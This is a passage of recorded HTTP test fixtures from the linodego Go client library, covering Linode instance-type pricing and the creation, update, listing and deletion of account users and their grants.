0.311, "monthly": 207.36}, {"id": "br-gru", "hourly": 0.363, "monthly": 241.92}], "addons": {"backups": {"price": {"hourly": 0.03, "monthly": 20.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.036, "monthly": 24.0}, {"id": "br-gru", "hourly": 0.042, "monthly": 28.0}]}}, "memory": 16384, "disk": 327680, "transfer": 6000, "vcpus": 8, "gpus": 0, "network_out": 6000, "class": "premium", "successor": null}, {"id": "g7-premium-16", "label": "Premium 32GB", "price": {"hourly": 0.519, "monthly": 346.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.622, "monthly": 414.72}, {"id": "br-gru", "hourly": 0.726, "monthly": 483.84}], "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.072, "monthly": 48.0}, {"id": "br-gru", "hourly": 0.084, "monthly": 56.0}]}}, "memory": 32768, "disk": 655360, "transfer": 7000, "vcpus": 16, "gpus": 0, "network_out": 7000, "class": "premium", "successor": null}, {"id": "g7-premium-32", "label": "Premium 64GB", "price": {"hourly": 1.0365, "monthly": 691.0}, "region_prices": [{"id": "id-cgk", "hourly": 1.244, "monthly": 829.44}, {"id": "br-gru", "hourly": 1.452, "monthly": 967.68}], "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.144, "monthly": 96.0}, {"id": "br-gru", "hourly": 0.168, "monthly": 112.0}]}}, "memory": 65536, "disk": 1310720, "transfer": 8000, "vcpus": 32, "gpus": 0, "network_out": 8000, "class": "premium", "successor": null}, {"id": "g7-premium-48", "label": "Premium 96GB", "price": {"hourly": 1.5555, "monthly": 1037.0}, "region_prices": [{"id": "id-cgk", "hourly": 1.866, "monthly": 1244.16}, {"id": "br-gru", "hourly": 2.177, "monthly": 1451.52}], "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.216, "monthly": 144.0}, {"id": "br-gru", "hourly": 0.252, "monthly": 168.0}]}}, "memory": 98304, "disk": 1966080, "transfer": 9000, "vcpus": 48, "gpus": 0, "network_out": 9000, "class": "premium", "successor": null}, {"id": "g7-premium-50", "label": "Premium 128GB", "price": {"hourly": 2.073, "monthly": 1382.0}, "region_prices": [{"id": "id-cgk", "hourly": 2.488, "monthly": 1658.88}, {"id": "br-gru", "hourly": 2.903, "monthly": 1935.36}], "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.288, "monthly": 192.0}, {"id": "br-gru", "hourly": 0.336, "monthly": 224.0}]}}, "memory": 131072, "disk": 2560000, "transfer": 10000, "vcpus": 50, "gpus": 0, "network_out": 10000, "class": "premium", "successor": null}, {"id": "g7-premium-56", "label": "Premium 256GB", "price": {"hourly": 4.1475, "monthly": 2765.0}, "region_prices": [{"id": "id-cgk", "hourly": 4.977, "monthly": 3317.76}, {"id": "br-gru", "hourly": 5.806, "monthly": 3870.72}], "addons": {"backups": {"price": {"hourly": 0.3, "monthly": 200.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.36, "monthly": 240.0}, {"id": "br-gru", "hourly": 0.42, "monthly": 280.0}]}}, "memory": 262144, "disk": 5120000, "transfer": 11000, "vcpus": 56, "gpus": 0, "network_out": 11000, "class": "premium", "successor": null}, {"id": "g7-premium-64", "label": "Premium 512GB", "price": {"hourly": 8.295, "monthly": 5530.0}, "region_prices": [{"id": "id-cgk", "hourly": 9.953, "monthly": 6635.52}, {"id": "br-gru", "hourly": 11.612, "monthly": 7741.44}], "addons": {"backups": {"price": {"hourly": 0.36, "monthly": 240.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.432, "monthly": 288.0}, {"id": "br-gru", "hourly": 0.504, "monthly": 336.0}]}}, "memory": 524288, "disk": 7372800, "transfer": 12000, "vcpus": 64, "gpus": 0, "network_out": 12000, "class": "premium", "successor": null}], "page": 1, "pages": 1, "results": 37}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 18:32:53 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestUserGrants_Update.yaml000066400000000000000000000141751474652371000317170ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"username":"linodegotest-updateusergrants","email":"linodegotest-updateusergrants@example.com","restricted":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users method: POST response: body: '{"username": "linodegotest-updateusergrants", "email": "linodegotest-updateusergrants@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "258" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 19 Nov 2024 20:30:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"global":{"account_access":"read_only","add_databases":true,"add_domains":false,"add_firewalls":true,"add_images":true,"add_linodes":false,"add_longview":true,"add_nodebalancers":false,"add_placement_groups":false,"add_stackscripts":true,"add_volumes":true,"add_vpcs":true,"cancel_account":false,"child_account_access":false,"longview_subscription":false}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users/linodegotest-updateusergrants/grants method: PUT response: body: '{"linode": [], "nodebalancer": [{"id": 1051282, "label": "balancer12345", "permissions": null}], "domain": [{"id": 3162745, "label": "example.clone-1731948401076807000-inttestsdk.org", "permissions": null}], "stackscript": [], "longview": [], "image": [], "volume": [], "firewall": [{"id": 1214534, "label": "cloudfw-1731954852210218000", "permissions": null}, {"id": 1222347, "label": "e2e-fw-1732043552", "permissions": null}, {"id": 1223238, "label": "cloudfw-1732048258071021000", "permissions": null}], "database": [], "vpc": [], "global": {"add_nodebalancers": false, "child_account_access": null, "add_longview": true, "add_volumes": true, "add_vpcs": true, "add_stackscripts": true, "add_domains": false, "add_linodes": false, "add_images": true, "add_databases": true, "longview_subscription": false, "add_firewalls": true, "account_access": "read_only", "cancel_account": false}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 19 Nov 2024 20:31:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users/linodegotest-updateusergrants method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 19 Nov 2024 20:31:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestUserGrants_UpdateNoAccess.yaml000066400000000000000000000142051474652371000333300ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"username":"linodegotest-updateusergrantsna","email":"linodegotest-updateusergrants@example.com","restricted":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users method: POST response: body: '{"username": "linodegotest-updateusergrantsna", "email": "linodegotest-updateusergrants@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "260" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 19 Nov 2024 20:31:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"global":{"account_access":null,"add_databases":false,"add_domains":false,"add_firewalls":false,"add_images":false,"add_linodes":false,"add_longview":false,"add_nodebalancers":false,"add_placement_groups":false,"add_stackscripts":false,"add_volumes":false,"add_vpcs":false,"cancel_account":false,"child_account_access":false,"longview_subscription":false}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users/linodegotest-updateusergrantsna/grants method: PUT response: body: '{"linode": [], "nodebalancer": [{"id": 1051282, "label": "balancer12345", "permissions": null}], "domain": [{"id": 3162745, "label": "example.clone-1731948401076807000-inttestsdk.org", "permissions": null}], "stackscript": [], "longview": [], "image": [], "volume": [], "firewall": [{"id": 1214534, "label": "cloudfw-1731954852210218000", "permissions": null}, {"id": 1222347, "label": "e2e-fw-1732043552", "permissions": null}, {"id": 1223238, "label": "cloudfw-1732048258071021000", "permissions": null}], "database": [], "vpc": [], "global": {"add_firewalls": false, "add_stackscripts": false, "add_volumes": false, "add_vpcs": false, "longview_subscription": false, "child_account_access": null, "add_linodes": false, "add_databases": false, "add_domains": false, "add_images": false, "add_longview": false, "add_nodebalancers": false, "account_access": null, "cancel_account": false}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 19 Nov 2024 20:31:02 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users/linodegotest-updateusergrantsna method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 19 Nov 2024 20:31:02 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestUser_Get.yaml000066400000000000000000000137651474652371000300410ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"username":"linodegotest-getuser","email":"linodegotest-getuser@example.com","restricted":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users method: POST response: body: '{"username": "linodegotest-getuser", "email": "linodegotest-getuser@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "240" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users/linodegotest-getuser method: GET response: body: '{"username": "linodegotest-getuser", "email": "linodegotest-getuser@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "240" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users/linodegotest-getuser method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:14 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestUser_GetMissing.yaml000066400000000000000000000027641474652371000313700ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users/does-not-exist method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "37" Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:12 GMT Pragma: - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestUser_Update.yaml000066400000000000000000000141001474652371000305240ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"username":"linodegotest-updateuser","email":"linodegotest-updateuser@example.com","restricted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users method: POST response: body: '{"username": "linodegotest-updateuser", "email": "linodegotest-updateuser@example.com", "restricted": false, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "247" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:15 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"username":"linodegotest-updateuser-updated","restricted":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users/linodegotest-updateuser method: PUT response: body: '{"username": "linodegotest-updateuser-updated", "email": "linodegotest-updateuser@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "254" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:15 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users/linodegotest-updateuser-updated method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:15 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestUsers_List.yaml000066400000000000000000000320541474652371000304100ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"username":"linodegotest-listuser","email":"linodegotest-listuser@example.com","restricted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users method: POST response: body: '{"username": "linodegotest-listuser", "email": "linodegotest-listuser@example.com", "restricted": false, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "243" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:17 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users?page=1 method: GET response: body: '{"data": [{"username": "ychen123", "email": "yechen@akamai.com", "restricted": false, "ssh_keys": ["foo"], "tfa_enabled": true, "verified_phone_number": "+11234567890", "password_created": "2018-01-02T03:04:05", "last_login": {"login_datetime": "2018-01-02T03:04:05", "status": "successful"}, "user_type": "default"}, {"username": "tf-test-8125004655895970073", "email": "tf-test-8125004655895970073@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}, {"username": "tf-test-3780767100546130489", "email": "tf-test-3780767100546130489@example.com", "restricted": false, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}, {"username": "tf-test-2299707981995340093", "email": "tf-test-2299707981995340093@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}, {"username": "tf-test-2147684760611667834", "email": "tf-test-2147684760611667834@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}, {"username": "tf-test-5507871777906426864", "email": "tf-test-5507871777906426864@example.com", "restricted": false, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}, {"username": "tf-test-4243868853498240525", "email": "tf-test-4243868853498240525@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}, {"username": "tf-test-6871414574593889029", "email": "tf-test-6871414574593889029@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}, {"username": "tf-test-2519132488096826016", "email": "tf-test-2519132488096826016@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}, {"username": "tf-test-969942227562349701", "email": "tf-test-969942227562349701@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}, {"username": "tf-test-2446821540606644016", "email": "tf-test-2446821540606644016@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}, {"username": "tf-test-9178641674671843035", "email": "tf-test-9178641674671843035@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}, {"username": "tf-test-3624347175135644429", "email": "tf-test-3624347175135644429@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}, {"username": "tf-test-6953009986395160284", "email": "tf-test-6953009986395160284@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}, {"username": "tf-test-1532592034131405740", "email": "tf-test-1532592034131405740@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": 